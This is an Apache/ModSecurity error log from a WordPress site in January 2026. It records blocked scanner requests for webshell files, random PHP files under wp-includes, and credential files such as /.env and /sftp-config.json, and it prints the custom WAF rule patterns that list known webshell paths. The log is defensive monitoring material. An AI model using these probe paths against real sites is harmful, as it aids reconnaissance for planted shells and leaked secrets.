[Sat Jan 03 06:30:10.127057 2026] [:error] [pid 34260:tid 34274] [client 104.215.18.38:39782] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aVhG8kWWhyvZ0O9KNVTK7AAAAQw"], referer: https://www.google.fr/
[Sat Jan 03 06:30:10.367675 2026] [:error] [pid 1931:tid 2037] [client 104.215.18.38:39767] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aVhG8h8Tyw7ZoIdXlcYiVAAAAI0"], referer: https://www.google.co.uk/
[Sat Jan 03 06:30:10.607973 2026] [:error] [pid 2083:tid 2100] [client 104.215.18.38:39806] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aVhG8jVlR_BmlMPnhV7pnAAAAM8"], referer: https://www.yahoo.com/
[Sat Jan 03 06:30:10.848691 2026] [:error] [pid 34260:tid 34267] [client 104.215.18.38:39716] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aVhG8kWWhyvZ0O9KNVTK7wAAAQU"], referer: https://www.google.co.uk/
[Sat Jan 03 06:30:11.092283 2026] [:error] [pid 34260:tid 34276] [client 104.215.18.38:39690] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aVhG80WWhyvZ0O9KNVTK8QAAAQ4"], referer: https://www.google.co.uk/
[Sat Jan 03 06:30:13.024310 2026] [autoindex:error] [pid 1930:tid 1967] [client 104.215.18.38:39768] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Jan 03 06:30:13.149962 2026] [autoindex:error] [pid 1931:tid 2038] [client 104.215.18.38:39748] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sat Jan 03 11:14:24.798547 2026] [:error] [pid 1930:tid 1975] [client 43.135.138.128:42498] [client 43.135.138.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aViJkJP-6mqhfUDa89xZZgAAAEk"]
[Sat Jan 03 20:42:54.964151 2026] [:error] [pid 1931:tid 1999] [client 170.106.187.106:48978] [client 170.106.187.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVkOzh8Tyw7ZoIdXlcbw-wAAAIM"]
[Sun Jan 04 00:19:48.238374 2026] [:error] [pid 49319:tid 49329] [client 154.26.129.117:52345] [client 154.26.129.117] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aVlBpLcNXYLFZOiX4cQGCwAAAMg"]
[Sun Jan 04 01:26:19.844502 2026] [:error] [pid 49229:tid 49278] [client 181.215.65.106:44027] [client 181.215.65.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVlRO1CM4R1akb8JNI6qqwAAAFE"]
[Sun Jan 04 01:26:22.249492 2026] [:error] [pid 49228:tid 49247] [client 181.215.65.106:20929] [client 181.215.65.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aVlRPnCPk2c4rRZq2JTz2gAAAA4"]
[Sun Jan 04 01:26:24.429423 2026] [:error] [pid 49230:tid 49288] [client 104.234.32.93:22831] [client 104.234.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aVlRQH2klmw7JRfgM3i4wAAAAIA"]
[Sun Jan 04 01:26:25.670573 2026] [:error] [pid 49230:tid 49306] [client 85.237.194.191:34411] [client 85.237.194.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aVlRQX2klmw7JRfgM3i4xwAAAJI"]
[Sun Jan 04 01:26:27.516783 2026] [:error] [pid 49319:tid 49321] [client 104.234.32.69:27079] [client 104.234.32.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aVlRQ7cNXYLFZOiX4cQwzAAAAMA"]
[Sun Jan 04 01:26:28.200760 2026] [:error] [pid 49319:tid 49324] [client 104.234.32.83:26389] [client 104.234.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aVlRRLcNXYLFZOiX4cQw0AAAAMM"]
[Sun Jan 04 01:26:28.738757 2026] [:error] [pid 49319:tid 49323] [client 181.215.65.107:22177] [client 181.215.65.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aVlRRLcNXYLFZOiX4cQw1QAAAMI"]
[Sun Jan 04 01:26:29.207972 2026] [:error] [pid 49319:tid 49343] [client 104.234.32.85:25297] [client 104.234.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aVlRRbcNXYLFZOiX4cQw1wAAANY"]
[Sun Jan 04 01:26:29.739150 2026] [:error] [pid 49319:tid 49321] [client 85.237.194.179:51797] [client 85.237.194.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aVlRRbcNXYLFZOiX4cQw2AAAAMA"]
[Sun Jan 04 02:22:33.576155 2026] [:error] [pid 11559:tid 11583] [client 103.77.106.81:55139] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aVleaaYDjvbj8bSHy5rWFwAAARU"]
[Sun Jan 04 02:22:34.680963 2026] [:error] [pid 49229:tid 49284] [client 103.77.106.81:55222] [client 103.77.106.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aVlealCM4R1akb8JNI7MlAAAAFc"]
[Sun Jan 04 03:50:44.547092 2026] [:error] [pid 37536:tid 37551] [client 182.44.10.67:58290] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVlzFG-iKLialy_3rkvU3AAAAAs"]
[Sun Jan 04 04:13:12.312382 2026] [:error] [pid 37636:tid 37650] [client 43.153.74.75:52462] [client 43.153.74.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVl4WC3kmZpEf9yy2b0dZgAAAMo"]
[Sun Jan 04 05:23:35.255891 2026] [:error] [pid 37537:tid 37591] [client 103.77.107.178:65533] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aVmI1wjHz7EQ5p_4u2pfGAAAAFI"]
[Sun Jan 04 05:23:35.796417 2026] [:error] [pid 37538:tid 37612] [client 103.77.107.178:49217] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aVmI14zU2j98LiSLQvRMGAAAAIw"]
[Sun Jan 04 09:43:48.616084 2026] [:error] [pid 21773:tid 21797] [client 106.227.49.113:43133] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVnF1HvK0K5woa_VhGVTagAAAdU"]
[Sun Jan 04 11:57:58.842879 2026] [:error] [pid 1078:tid 1105] [client 43.130.14.245:55338] [client 43.130.14.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVnlRqpObJuuEBw0kQ9MKAAAAxc"]
[Sun Jan 04 13:38:21.258316 2026] [:error] [pid 4365:tid 4396] [client 43.133.139.6:57964] [client 43.133.139.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVn8zcMi25XHOoMs4mc8hgAAAYE"]
[Sun Jan 04 15:55:49.780502 2026] [:error] [pid 4333:tid 4346] [client 36.111.67.189:34493] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVodBTAH-zZWAfquimDlVgAAAAo"]
[Sun Jan 04 17:25:34.825226 2026] [autoindex:error] [pid 64248:tid 64262] [client 138.197.13.155:51154] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Jan 04 17:58:33.378603 2026] [:error] [pid 4333:tid 4344] [client 139.59.224.88:49928] [client 139.59.224.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aVo5yTAH-zZWAfquimAKwQAAAAg"]
[Sun Jan 04 18:07:46.007653 2026] [:error] [pid 1020:tid 1034] [client 139.59.224.88:47460] [client 139.59.224.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aVo78lzz6-t0R3_Ito05jAAAAUs"]
[Sun Jan 04 19:22:27.436202 2026] [:error] [pid 58433:tid 58483] [client 43.166.244.251:52190] [client 43.166.244.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVpNc05m7bkw35zhUNbetQAAARM"]
[Sun Jan 04 20:39:12.303268 2026] [:error] [pid 5010:tid 5055] [client 43.166.134.114:58146] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVpfcLV9sNJtnPnkkz-ifgAAAo4"]
[Sun Jan 04 21:10:50.050484 2026] [:error] [pid 29351:tid 29402] [client 20.42.216.46:19157] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/general-template.php"] [unique_id "aVpm2ptGiMsRmNcKXvo13QAAAtI"]
[Sun Jan 04 21:10:51.489001 2026] [:error] [pid 23903:tid 23932] [client 20.42.216.46:43620] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/general-template.php"] [unique_id "aVpm2z_yzB-omvQP-LLNcwAAANc"]
[Sun Jan 04 21:10:56.216254 2026] [:error] [pid 17268:tid 17272] [client 20.42.216.46:36556] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/general-template.php"] [unique_id "aVpm4LPW8UB8HzRRfIdF-AAAAUE"]
[Sun Jan 04 21:10:58.914018 2026] [:error] [pid 29351:tid 29399] [client 20.42.216.46:2651] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/general-template.php"] [unique_id "aVpm4ptGiMsRmNcKXvo14AAAAs8"]
[Sun Jan 04 21:11:01.520988 2026] [:error] [pid 30985:tid 31035] [client 20.42.216.46:43603] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/load.php"] [unique_id "aVpm5UisiM0XfzVcTWCfhgAAAdU"]
[Sun Jan 04 21:11:04.032182 2026] [:error] [pid 17268:tid 17278] [client 20.42.216.46:23353] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/load.php"] [unique_id "aVpm6LPW8UB8HzRRfIdF_QAAAUc"]
[Sun Jan 04 21:11:04.741197 2026] [:error] [pid 29350:tid 29360] [client 20.42.216.46:11474] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/load.php"] [unique_id "aVpm6FZWNWo1XwAbpfahSwAAAoM"]
[Sun Jan 04 21:11:04.859074 2026] [:error] [pid 30985:tid 31034] [client 20.42.216.46:2471] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/load.php"] [unique_id "aVpm6EisiM0XfzVcTWCflAAAAdQ"]
[Sun Jan 04 21:11:04.988454 2026] [:error] [pid 29350:tid 29376] [client 20.42.216.46:2442] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVpm6FZWNWo1XwAbpfahTAAAApM"]
[Sun Jan 04 21:11:07.511970 2026] [:error] [pid 17268:tid 17282] [client 20.42.216.46:37091] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVpm67PW8UB8HzRRfIdGAAAAAUs"]
[Sun Jan 04 21:11:11.311897 2026] [:error] [pid 29351:tid 29393] [client 20.42.216.46:2491] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVpm75tGiMsRmNcKXvo17wAAAsk"]
[Sun Jan 04 21:11:14.296289 2026] [:error] [pid 23903:tid 23924] [client 20.42.216.46:36551] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVpm8j_yzB-omvQP-LLNhgAAAM8"]
[Sun Jan 04 21:11:14.718631 2026] [:error] [pid 17268:tid 17286] [client 20.42.216.46:11968] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aVpm8rPW8UB8HzRRfIdGBQAAAU8"]
[Sun Jan 04 21:11:15.091047 2026] [:error] [pid 31042:tid 31085] [client 20.42.216.46:2673] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aVpm8xIvDwkaO5JnDaTEkAAAA0Q"]
[Sun Jan 04 21:11:16.152058 2026] [:error] [pid 30954:tid 30970] [client 20.42.216.46:47852] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aVpm9E4oIXUIQsb698rbpgAAAQ4"]
[Sun Jan 04 21:11:16.823476 2026] [:error] [pid 30985:tid 31033] [client 20.42.216.46:2472] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mails.php"] [unique_id "aVpm9EisiM0XfzVcTWCfqQAAAdM"]
